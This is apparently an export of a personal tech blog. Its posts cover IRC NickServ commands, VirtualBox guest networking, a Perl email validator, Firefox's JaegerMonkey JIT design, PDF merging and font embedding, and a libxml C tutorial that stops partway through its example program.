<span style="background-color: white; color: #882200; font-family: monospace; font-size: 13px; line-height: 17.3333320617676px;">/nickserv identify </span><span style="background-color: white; color: #882200; font-family: monospace; font-size: 13px; line-height: 17.3333320617676px;">PeanutButter</span><span style="background-color: white; color: #882200; font-family: monospace; font-size: 13px; line-height: 17.3333320617676px;"> ILovePeanutButter</span><br />
<br />
<b>To change your password:</b><br />
<span style="color: #0b5394;">/msg nickserv set password [YourNewPassword]</span><br />
<br />
<b>To enforce users to identify your nickname with password to protect from identity theft:</b><br />
<span style="color: #0b5394;">/msg nickserv set secure ON</span><br />
<br />
<b>To remove nickname currently in use:</b><br />
If somehow you close your IRC but didn't get a chance to disconnect from server then server believes you are still online and you cannot use it until server recognizes it. Use following command to resolve this problem.<br />
<span style="color: #0b5394;">/nickserv ghost [nickname] [password]</span><br />
For example, if your nickname is "abc123" and password is "xyz123", then command to use is as follows:<br />
<br />
/nickserv ghost abc123 xyz123<br />
<br />
<b>How do I check if a nickname is registered or identified</b><br />
To check if a nickname is already registered, or if someone is identified to a nickname, use the command:<br />
<span style="color: #0b5394;"> /ns info nickname</span><br />
<br />
<b>How do I change my email address?</b><br />
<span style="color: #0b5394;">/ns set email password email@address repeatemail@address</span><br />
<br />
<b>Somebody is on my nickname - how can I recover it?</b><br />
First type:<br />
<span style="color: #0b5394;">/ns recover yournickame yourpassword</span><br />
<br />
and then type:<br />
<span style="color: #0b5394;">/ns release yournickname yourpassword</span><br />
<br />
After this you can just get back on your nickname.<br />
<br />
<b>How can I view what channels I have access in?</b><br />
<span style="color: #0b5394;">/ns alist</span><br />
<br />
<b>How do I view information about my nickname?</b><br />
<span style="color: #0b5394;"> /ns info nickname all</span><br />
<span style="color: #0b5394;"><br /></span>
Alternatively, you can use following command:<br />
<span style="background-color: white; color: #882200; font-family: monospace; font-size: 13px; line-height: 17.3333320617676px;">/nickserv info </span><em class="param" style="background-color: white; font-family: monospace; font-size: 13px; line-height: 17.3333320617676px;">nickname</em><br />
<br />
Example:<br />
<span style="background-color: white; color: #882200; font-family: monospace; font-size: 13px; line-height: 17.3333320617676px;">/nickserv info PeanutButter</span><br />
<br />
<br />
<b>How do I stop people using my nickname?</b><br />
First ensure that your nickname is registered! To prevent people from using your nickname without identifying to it you must set protection on your nickname. The best settings is to use 'Quick kill', which will give users 20 seconds to identify after which their nickname will be changed. To do this use:<br />
<br />
<span style="color: #0b5394;">/ns set kill quick</span><br />
<span style="color: #0b5394;"><br /></span>
<br />
<br />
"I forgot my password". How to recover it?<br />
Keep in mind that passwords are CaSe SeNsItIvE.<br />
<br />
<span style="color: #990000;">/nickserv sendpass [nick] [email address]</span><br />
<br />
The email address that you specify must match the email address that we have on file for the nickname in question.<br />
<br />
<br />
<br />
<br /></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5267091008358194058.post-54199072836550855302012-03-26T10:31:00.000+08:002013-10-16T19:12:51.916+08:00Unable to ping Guest VM in VirtualBox<a href="//affiliates.mozilla.org/link/banner/47004"><img src="//affiliates.mozilla.org/media/uploads/banners/910443de740d4343fa874c37fc536bd89998c937.png" alt="Download: Fast, Fun, Awesome" /></a> <br /> <br />
<div dir="ltr" style="text-align: left;" trbidi="on">Suppose you have installed guest OS (such as Windows, Ubuntu, etc) in VirtualBox and want to ping it from host OS then you might not be able to ping it, if Network adapter is configured as NAT mode adapter in VirtualBox for the VM.<br />
<br />
To solve this problem. First shutdown your gust VM. Second, change the Guest VM's network adapter settings of "<span style="color: #666666;">Attached to</span>" from "NAT" to "<span style="color: #b45f06;">Bridged Adapter</span>". Also change "<span style="color: #999999;">Name</span>" to "<span style="color: #b45f06;">vmnet1</span>" or any other similar name.<br />
<br />
The cause of this problem is, in NAT mode the IP headers of any packets that are going out the guest VM are re-written to match the hosts network settings. But VirtualBox does not do any kind of reverse NAT, not even for packets originating from the host machine. It only does it for established connections.<br />
<br />
Hope this helps!<br />
<br />
<br />
</div>Unknownnoreply@blogger.com14tag:blogger.com,1999:blog-5267091008358194058.post-31913580771960103762011-11-14T17:40:00.000+08:002011-11-14T17:40:40.581+08:00Email Address verification using Perl script<div dir="ltr" style="text-align: left;" trbidi="on">Checking correctness of one email address is easy and can be done manually, however, if you want to validate a bunch of email addresses then automated script plays a very handy role. <div>I would like to thank my colleague and friend "Sai Sathyanarayam" for giving me this script. I think this might be useful for others therefore, I am posting it here. </div><div><br />
</div><div># email.pl file</div><div>#open "email.txt" file from current directory, </div><div># email.txt file contains email addresses separated by , (comma) and each address is on new line</div><div><div>open(FILE,"email.txt");</div><div>while($line = <FILE> ) {</div><div> </div><div> chomp($line);</div><div> if($line =~ /,/) { $line = $`; }else { print $line." is invalid\n";}</div><div> if ($line =~ /^(\w|\-|\_|\.)+\@((\w|\-|\_)+\.)+[a-zA-Z]{2,}$/)</div><div> {</div><div> print "$line is valid\n"; </div><div> }</div><div> else {</div><div> print "$line is invalid\n";</div><div> }</div><div>}</div></div><div><br />
</div><div>Sample email.txt file is as follows:</div><div><div>xyz@abc.com,</div><div>pqr@mnr.ac.in,</div></div><div><br />
</div><div>To perform validation test run following command:</div><div><span class="Apple-style-span" style="color: purple;">$ perl email.pl</span></div><div><span class="Apple-style-span" style="color: purple;"><br />
</span></div><div><span class="Apple-style-span" style="color: purple;"><br />
</span></div></div>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-5267091008358194058.post-6580261566655787322011-08-26T11:58:00.001+08:002011-08-26T11:59:18.592+08:00JaegerMonkey Architecture<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;">JaegerMonkey is a JavaScript engine used in Firefox 4.0 and later versions. The SpiderMonkey JavaScript engine was used by Firefox for version 3.0 or earlier. TraceMonkey is a tracing engine which is an improvement to SpiderMonkey. Trace Monkey was used in Firefox 3.5 and above versions. Before we will look into architecture of JaegerMonkey, lets first have a glance at TraceMonkey JavaScript engine who is a predecessor of JaegerMonkey.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><b>TraceMonkey Overview</b></div><div style="text-align: justify;">TraceMonkey uses a trace monitor called <span class="Apple-style-span" style="color: #666666;">jstracer</span>. The jstracer monitors a script as interpreted by SpiderMonkey. Whenever jstracer sees a code that would benefit from the native compilation, it activates it recorder. The recorder records the execution of the IR and creates NanoJIT Low Level Intermediate Representation, which is then compiled into native code. NanoJIT produces optimized code. More information on TraceMonkey and its architecture diagram is available <a href="https://developer.mozilla.org/En/SpiderMonkey/Internals/Tracing_JIT">here</a>.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><b>JaegerMonkey Architecture</b></div><div style="text-align: justify;">JaegerMonkey used in Fireox 4.0 and above version is Just-in-Time (JIT) JavaScript execution engine. JaegerMonkey JIT engine produces native code for JavaScripts. Usually JIT engines take an intermediate representation (IR) from a compiler and produce native (machine) code and execute it on the fly. Therefore, JIT engines do not parse the code or check its syntax, or create intermediate representation (IR) of code.</div><div style="text-align: justify;">Hence, JavaScript engine in Mozilla Firefox we divide into two parts: front-end and back-end. The front-end is responsible to parse the script, check its syntax and generate intermediate representation (IR) of script required for native code generation. The back-end is responsible for generating native code and memory management.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">In Mozilla Firefox front-end is SpiderMonkey which parses script syntax and generates an intermediate representation (IR) of the script. In SpiderMonkey intermediate representation of script is <span class="Apple-style-span" style="color: #666666;">bytecode </span>of the script.<span class="Apple-style-span" style="color: #666666;"> </span> This generated bytecode is then fed to JaegerMonkey JIT engine to be compiled into machine code. JaegerMonkey is a method-base JIT JavaScript engine which compiles script into non-optimized machine code. JaegerMoneky uses <span class="Apple-style-span" style="color: #666666;">Nitro</span> (borrowed from the WebKit project) as its back-end assembler. </div><div style="text-align: justify;">Nitro does memory management and code generation in JaegerMonkey.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">Nitro contains two parts assembler and memory unit. Assembler handles the code assembly and memory unit handles allocation and deallocation of memory for native code. The bulk of the bytecode to native code translation is performed in the <span class="Apple-style-span" style="color: #666666;">mjit::compiler</span> class and it can be found in <span class="Apple-style-span" style="color: #999999;">js/src/methodjit/Compiler.cpp</span>. This compiler class translates SpiderMonkey bytecode instructions to their native code block equivalents using the <span class="Apple-style-span" style="color: #666666;">AssemblerBuffer</span> and <span class="Apple-style-span" style="color: #666666;">LinkBuffer</span> helper classes.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">JaegerMonkey uses inline cache to improve the performance. Inline cache is used to perform faster object type lookups. JavaScript supports dynamic typing during runtime. To support this feature, in SpiderMonkey <span class="Apple-style-span" style="color: #666666;">JSOP_GETPROP</span> bytecode is responsible to return the value of a specific property by looking up its type first. SpiderMonkey uses property cache which stores the <span class="Apple-style-span" style="color: #666666;">Shape</span> of existing objects. Shape is a structure in SpiderMonkey that defines how the object can be accessed.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><b>Inline Caching for good locality</b></div><div style="text-align: justify;">When JIT compiles a property access bytecode, emitted machine code look like as follows:</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><span class="Apple-style-span" style="background-color: black; color: white;">type <- load addressof(object) + offsetof(JSObject, type)</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="background-color: black; color: white;">shapeIsKnown <- type equals IMPOSSIBLE_TYPE</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="background-color: black; color: white;">None <- goto slowLookupCode if shapeIsKnown is False</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="background-color: black; color: white;">property <- load addressof(object) + IMPOSSIBLE_SLOT</span></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">JagerMonkey uses self modifying code to inline cache the Shape of the object. Self modifying code is a code that modifies code that currently exists in memory. When first time JaegerMonkey performs a property access on object its shape is unknown therefore <span class="Apple-style-span" style="color: #666666;">shapeIsKnow</span> will be false. Hence <span class="Apple-style-span" style="color: #666666;">slowLookupCode</span> will be executed. After <span class="Apple-style-span" style="color: #666666;">slowLookupCode</span> resolves the property it fills the appropriate value for <span class="Apple-style-span" style="color: #666666;">IMPOSSIBLE_TYPE</span> and <span class="Apple-style-span" style="color: #666666;">IMPOSSIBLE_SLOT</span>. Hence, next time when this piece of code is executed, if the type of object is not change then <span class="Apple-style-span" style="color: #666666;">shapeIsKnown</span> return true and there is no need to go into <span class="Apple-style-span" style="color: #666666;">slowLookupCode</span>. This technique of modifying JIT-compiled code to reflect a probable value is called as <b>inline caching: </b>inline, as in "in the emitted code"; caching, as in "cache a probable value".</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">However, JavaScript supports dynamic typing. This is handles by polymorphic inline caching (PIC). Lets consider an example of PIC code:</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">var vals = {1, "hello", [1, 2, 3]};</span></span></div><div style="text-align: justify;"><span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">for (var i in vals) {</span></span></div><div style="text-align: justify;"><span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;"> document.write(vals[i].toString());</span></span></div><div style="text-align: justify;"><span class="Apple-style-span" style="background-color: black;"><span class="Apple-style-span" style="color: white;">}</span></span></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">In above code <span class="Apple-style-span" style="color: #666666;">vals</span> array contains different data types such as a Number, a String and a array. For each object in the array, the interpreter has to perform an expressive type lookup and determine the correct <span class="Apple-style-span" style="color: #666666;">toString</span> method to call. JaegerMonkey uses PIC slots to colve this problem, that is make a chain of cache entries. It creates several blocks of native code that perform property lookups for types the object has already been seen as. It the first type does not match, then a branch is taken to the next code block to perform a lookup. If type is match then it performs a fast slot lookup. According to our example, first time it recognizes <span class="Apple-style-span" style="color: #666666;">Number</span> object and fills cache entry for it. Second time its a <span class="Apple-style-span" style="color: #666666;">String</span>. So a new piece of code memory is created for type <span class="Apple-style-span" style="color: #666666;">String</span> and modify the jump of first lookup (that is, <span class="Apple-style-span" style="color: #666666;">Number</span> type mismatch in our example) to go to this newly created piece of code memory instead of <span class="Apple-style-span" style="color: #666666;">slowLookupCode</span>. and so on.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">References:</div><div style="text-align: justify;">1. <a href="http://blog.cdleary.com/2010/09/picing-on-javascript-for-fun-and-profit/">PICing on JavaScript for fun and profit</a></div><div style="text-align: justify;">2. <a href="http://www.matasano.com/research/Attacking_Clientside_JIT_Compilers_Paper.pdf">Attacking Clientside JIT Compilers [BlackHat 2011]</a></div></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5267091008358194058.post-28001681325122260902011-04-01T15:43:00.000+08:002013-10-16T19:13:07.391+08:00How to Merge Multiple PDF files into single PDF file on Ubuntu<a href="//affiliates.mozilla.org/link/banner/47004"><img src="//affiliates.mozilla.org/media/uploads/banners/910443de740d4343fa874c37fc536bd89998c937.png" alt="Download: Fast, Fun, Awesome" /></a> <br /> <br />
<div dir="ltr" style="text-align: left;" trbidi="on"><br />
Multiple PDF files can be merged into single PDF using two different ways: ghostscript or pdftk<br />
<br />
<span class="Apple-style-span" style="color: #cc0000;">A. Use Ghostscript to merge PDF files</span><br />
<span class="Apple-style-span" style="color: #741b47;">Steps:</span><br />
1. Install two pacakeges GhostScript and PDFtk tools.<br />
<span class="Apple-style-span" style="color: #666666;"> $ sudo apt-get install gs pdftk</span><br />
<br />
2. Use following command to combine multiple files into single PDF file. The output file name is "singleCombinedPdfFile.pdf". The input file names are all files in the current directory, bcoz we used "*.pdf".<br />
<br />
<span class="Apple-style-span" style="color: #666666;">$ gs -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=singleCombinedPdfFile.pdf -dBATCH *.pdf</span><br />
<br />
If you want to join PDF files in specific order then you can also use file names.<br />
<span class="Apple-style-span" style="color: #666666;">$ gs -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=singleCombinedPdfFile.pdf -dBATCH 1.pdf 2.pdf 3.pdf</span><br />
<br />
<span class="Apple-style-span" style="color: #990000;">B. Use pdftk (PDF toolkit) to merge multiple PDF files into Single PDF file</span><br />
1. To merge PDF files by using names of the source PDF files:<br />
<span class="Apple-style-span" style="color: #666666;">$ pdftk one.pdf two.pdf three.pdf cat output 123-combined.pdf</span><br />
<br />
2. To merge PDF files using wildcard when number of files are large and its not feasible to input filenames of all files:<br />
<span class="Apple-style-span" style="color: #666666;">$ <span class="Apple-style-span" style="font-family: monospace; font-size: 15px;">pdftk *.pdf cat output combined.pdf</span></span><br />
<span class="Apple-style-span" style="font-family: arial, helvetica, sans-serif; font-size: 15px;"><br />
</span><br />
<span class="Apple-style-span" style="font-family: inherit;">3. </span><span class="Apple-style-span" style="font-family: arial, helvetica, sans-serif; font-size: 15px;">Select specific pages from Multiple PDFs and create new PDF document:</span><br />
<span class="Apple-style-span" style="color: #666666;"><span class="Apple-style-span" style="font-family: arial, helvetica, sans-serif; font-size: 15px;"></span><span class="Apple-style-span" style="font-family: monospace; font-size: 15px;">$ pdftk A=one.pdf B=two.pdf cat A1-7 B1-5 A8 output combined.pdf</span></span><br />
</div>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-5267091008358194058.post-61460466895259091002011-03-14T11:53:00.001+08:002013-10-16T19:13:40.252+08:00Embed fonts in PDF file using PDFLaTex<a href="//affiliates.mozilla.org/link/banner/47004"><img src="//affiliates.mozilla.org/media/uploads/banners/910443de740d4343fa874c37fc536bd89998c937.png" alt="Download: Fast, Fun, Awesome" /></a> <br /> <br />
<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: justify;">This post explains how to embed fonts in PDF file.</div><div style="text-align: justify;">Embedding the font in the PDF file is useful when you are preparing a paper for conference submission or you want to ensure that your PDF file looks exactly same on other's machine as it does on your computer. </div><div style="text-align: justify;">In this post I will explain how to do it on Linux machine. I am not sure how to achieve the same on Windows computer. </div><div style="text-align: justify;">We will use tool "<span class="Apple-style-span" style="color: orange;">pdffonts</span>" to examine PDF file. </div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><span class="Apple-style-span" style="color: red;">$ pdffonts mypaper.pdf</span></div><div style="text-align: justify;"></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">name type emb sub uni object ID</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">------------------------------------ ----------------- --- --- --- ---------</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">HVGYIY+NimbusRomNo9L-Medi Type 1 yes yes no 110 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">TFVQMQ+NimbusRomNo9L-Regu Type 1 yes yes no 111 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">XHGNKU+NimbusRomNo9L-MediItal Type 1 yes yes no 113 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">UUGCZC+NimbusRomNo9L-ReguItal Type 1 yes yes no 114 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">FDULPW+CMSY7 Type 1 yes yes no 148 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">SPCNWZ+NimbusMonL-Regu Type 1 yes yes no 150 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">ABCDEE+Times TrueType yes yes no 152 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">Arial TrueType no no no 153 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">Arial CID TrueType yes no yes 154 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">Arial TrueType no no no 220 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">Arial CID TrueType yes no yes 221 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">ABCDEE+Times TrueType yes yes no 222 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">Arial,Italic TrueType no no no 223 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">ZLLMAJ+CMMI10 Type 1 yes yes no 257 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">Arial TrueType no no no 259 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">ABCDEE+Calibri TrueType yes yes no 260 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">Arial,Italic TrueType no no no 261 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">Arial TrueType no no no 282 0</span></div><div style="text-align: justify;"><span class="Apple-style-span" style="color: #666666; font-family: Times, 'Times New Roman', serif;">Arial,Italic TrueType no no no 283 0</span></div><div><br />
</div><div><span class="Apple-style-span" style="color: red;">$</span></div><div><br />
</div><div>The important columns are <span class="Apple-style-span" style="color: red;">name</span> and <span class="Apple-style-span" style="color: red;">emb</span>. The "name" column displays the name of the font and the "emb" column shows whether that font is embedded in your PDF file or not. "yes" is "emb" column indicates that the font is embedded in the PDF file and "no" indicates that the font is not embedded in the PDF file. </div><div>For example, in the above oputput, Arial, and Arial,Italic fonts are not embedded in the PDF file.</div><div><br />
</div><div><b>To embed the un-embedded fonts into your PDF file using PDFLaTex:</b></div><div><span class="Apple-style-span" style="color: red;">$ </span><span class="Apple-style-span" style="font-family: monospace; white-space: pre;"><span class="Apple-style-span" style="color: red;">updmap --edit</span> </span></div><div><span class="Apple-style-span" style="font-family: monospace; white-space: pre;"></span><span class="Apple-style-span" style="white-space: pre;">The above command will open the configuration file for pdflatex. </span></div><div></div><div><span class="Apple-style-span" style="white-space: pre;"><span class="Apple-style-span" style="font-family: inherit;"><span class="Apple-style-span" style="white-space: normal;"><span class="Apple-style-span" style="color: #333333;">Find the </span><code><span class="Apple-style-span" style="color: purple;">pdftexDownloadBase14</span></code><span class="Apple-style-span" style="color: #333333;"> directive and make sure it is true. That is, when you're done, the following line should be in the file:</span><br />
<code><span class="Apple-style-span" style="color: purple;">pdftexDownloadBase14 true</span></code></span></span></span></div><div><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br />
</span></div><div><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">Save the file and rebuild your PDF file using "pdflatex". </span></div><div><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">Then check your PDF file using "pdffonts" command. It should now have embedded all the fonts use in your PDF file. </span></div><div><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">If there are still some fonts missing then it might be because your have embedded another pdf file (as a graphics) into your "mypaper.pdf" file. </span></div><div><code><span class="Apple-style-span" style="font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif;">In that case, you need to embedded the fonts into those embedded PDF files as well. </span></code></div><div><br />
If you included figures in your PDF file then follow the steps given below:<br />
1. Convert your PDF file to PS file<br />
<span class="Apple-style-span" style="color: red;"> $ pdftops mypaper.pdf</span><br />
<br />
2. C<span class="Apple-style-span" style="font-family: sans-serif; font-size: 15px;">onvert back ps file to pdf using "<span class="Apple-style-span" style="color: orange;">prepress</span>" settings</span><br />
<span class="Apple-style-span" style="font-family: sans-serif; font-size: 15px;"> <span class="Apple-style-span" style="color: red;"> $ ps2pdf14 -dPDFSETTINGS=/prepress mypaper.ps</span></span><br />
<span class="Apple-style-span" style="font-family: sans-serif; font-size: 15px;"><br />
</span><br />
<span class="Apple-style-span" style="font-family: sans-serif;"><span class="Apple-style-span" style="font-size: 15px;">Conversion from PDF to PS and again back from PS to PDF my cause some formatting errors. I recommend you to double check your PDF file for formatting errors. </span></span><br />
<span class="Apple-style-span" style="font-family: sans-serif;"><span class="Apple-style-span" style="font-size: 15px;"><br />
</span></span><br />
<span class="Apple-style-span" style="font-family: sans-serif; font-size: 15px;">3. Check PDF fonts using pdffonts command</span><br />
<span class="Apple-style-span" style="font-family: sans-serif; font-size: 15px;"><span class="Apple-style-span" style="color: red;"> $ pdffonts mypaper.pdf</span></span><br />
</div><div><br />
</div></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5267091008358194058.post-29544893185948266912011-03-11T00:14:00.032+08:002013-10-16T19:13:56.344+08:00LibXML Tutorial<a href="//affiliates.mozilla.org/link/banner/47004"><img src="//affiliates.mozilla.org/media/uploads/banners/910443de740d4343fa874c37fc536bd89998c937.png" alt="Download: Fast, Fun, Awesome" /></a> <br /> <br />
<div dir="ltr" style="text-align: left;" trbidi="on">In this blog post I will show some basic function of <b>libxml</b>, which is a freely licensed C language XML library.<br />
This post gives an idea to beginners how to manipulate xml files using libxml library function. This post does not cover all XML API available in libxml, but it just gives an idea how to use libxml API's with the help of some basic functions.<br />
<br />
For detailed XML API list please visit official website of <a href="http://xmlsoft.org/html/index.html">libxml</a>. <br />
<br />
<b>To Parse XML file:</b><br />
<span class="Apple-style-span" style="color: #999999;">xmlDocPtr doc; // pointer to parse xml Document</span><br />
<span class="Apple-style-span" style="color: #999999;"> </span><br />
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span class="Apple-style-span" style="color: #999999;"> // Parse XML file</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span class="Apple-style-span" style="color: #999999;"> doc = xmlParseFile(xmlFileName);</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span class="Apple-style-span" style="color: #999999;"><br />
</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span class="Apple-style-span" style="color: #999999;"> // Check to see that the document was successfully parsed.</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span class="Apple-style-span" style="color: #999999;"> if (doc == NULL ) {</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span class="Apple-style-span" style="color: #999999;"> fprintf(stderr,"Error!. Document is not parsed successfully. \n");</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span class="Apple-style-span" style="color: #999999;"> return;</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span class="Apple-style-span" style="color: #999999;"> }</span></div><br />
<br />
<b>To Get the root Document:</b><br />
<br />
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span style="color: #666666;">// Retrieve the document's root element.</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span style="color: #666666;"> cur = xmlDocGetRootElement(doc);</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><br />
</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span style="color: #666666;"> // Check to make sure the document actually contains something</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span style="color: #666666;"> if (cur == NULL) {</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span style="color: #666666;"> fprintf(stderr,"Document is Empty\n");</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span style="color: #666666;"> xmlFreeDoc(doc);</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span style="color: #666666;"> return;</span></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><span style="color: #666666;"> }</span></div><br />
<br />
<b>To Get the child Nodes of the current node element:</b><br />
<br />
<span class="Apple-style-span" style="color: #999999;">cur = cur->xmlChildrenNode;</span><br />
<br />
<br />
<b>To Search for an attribute:</b><br />
<br />
// search for "hash" attribute in the node pointed by cur<br />
<span class="Apple-style-span" style="color: #999999;">attr = xmlHasProp(cur, (const xmlChar*)"hash");</span><br />
<br />
<br />
<b>To add new Attribute:</b><br />
<br />
/<span class="Apple-style-span" style="color: #999999;">*</span><br />
<span class="Apple-style-span" style="color: #999999;"> * New Attribute "hash" is added to element node pointed by cur,</span><br />
<span class="Apple-style-span" style="color: #999999;">* and default value of the attribute is set to "12345678"</span><br />
<span class="Apple-style-span" style="color: #999999;"> */</span><br />
<span class="Apple-style-span" style="color: #999999;"> attr = xmlNewProp(cur, (const xmlChar*)"hash", (const xmlChar*)"12345678");</span><br />
<br />
<br />
<b>To Save XML document to Disk:</b><br />
<br />
<span class="Apple-style-span" style="color: #999999;">xmlSaveFormatFile (xmlFileName, doc, 1);</span><br />
<br />
<br />
<br />
<b>Complete Example is given below:</b><br />
Suppose data.xml file is as follows:<br />
<span style="color: #999999;"><?xml version="1.0" encoding="UTF-8"?></span><br />
<span style="color: #999999;"><!DOCTYPE root SYSTEM "secPolicy2.dtd"></span><br />
<span style="color: #999999;"><root></span><br />
<span style="color: #999999;"> <url></span><br />
<span style="color: #999999;"> <host hash="12345678">www.example1.com</host></span><br />
<span style="color: #999999;"> <sctxid>2</sctxid></span><br />
<span style="color: #999999;"> </url></span><br />
<span style="color: #999999;"> <url></span><br />
<span style="color: #999999;"> <host>www.example2.com</host></span><br />
<span style="color: #999999;"> <sctxid>2</sctxid></span><br />
<span style="color: #999999;"> </url></span><br />
<span style="color: #999999;"> <url> </span><br />
<span style="color: #999999;"> <host>www.example3.com</host></span><br />
<span style="color: #999999;"> <sctxid>3</sctxid></span><br />
<span style="color: #999999;"> </url></span><br />
<br />
<span style="color: #999999;"></root></span><br />
<br />
Following program reads the above xml file supplied as command line argument. <br />
It adds "hash" attribute with default value set to "12345678" if its not present in the "host" element node.<br />
<br />
<div style="color: #666666;">/*</div><div style="color: #666666;"> * Filename = xmlexample.c </div><div style="color: #666666;">*/</div><span style="color: #666666;">#include <stdio.h></span><br />
<span style="color: #666666;">#include <string.h></span><br />
<span style="color: #666666;">#include <stdlib.h></span><br />
<span style="color: #666666;">#include <libxml/xmlmemory.h></span><br />
<span style="color: #666666;">#include <libxml/parser.h></span><br />
<br />
<span style="color: #666666;">/* </span><br />
<span style="color: #666666;"> * Parse URL Element Node in XML file</span><br />
<span style="color: #666666;"> * <url></span><br />
<span style="color: #666666;"> * <host hash="hash_val_of_hostname">www.example.com</host></span><br />
<span style="color: #666666;"> * <sctxid>Integer</sctxid></span><br />
<span style="color: #666666;"> * </url></span><br />
<span style="color: #666666;"> */</span><br />
<span style="color: #666666;">void parseURL (xmlDocPtr doc, xmlNodePtr cur) {</span><br />
<span style="color: #666666;"> xmlChar *key;</span><br />
<span style="color: #666666;"> xmlAttrPtr attr;</span><br />
<br />
<span style="color: #666666;"> // Get the childern Element Node of "url" node</span><br />
<span style="color: #666666;"> cur = cur->xmlChildrenNode;</span><br />
<br />
<span style="color: #666666;"> while (cur != NULL) {</span><br />
<span style="color: #666666;"> // check for "host" childern element node of "url" node</span><br />
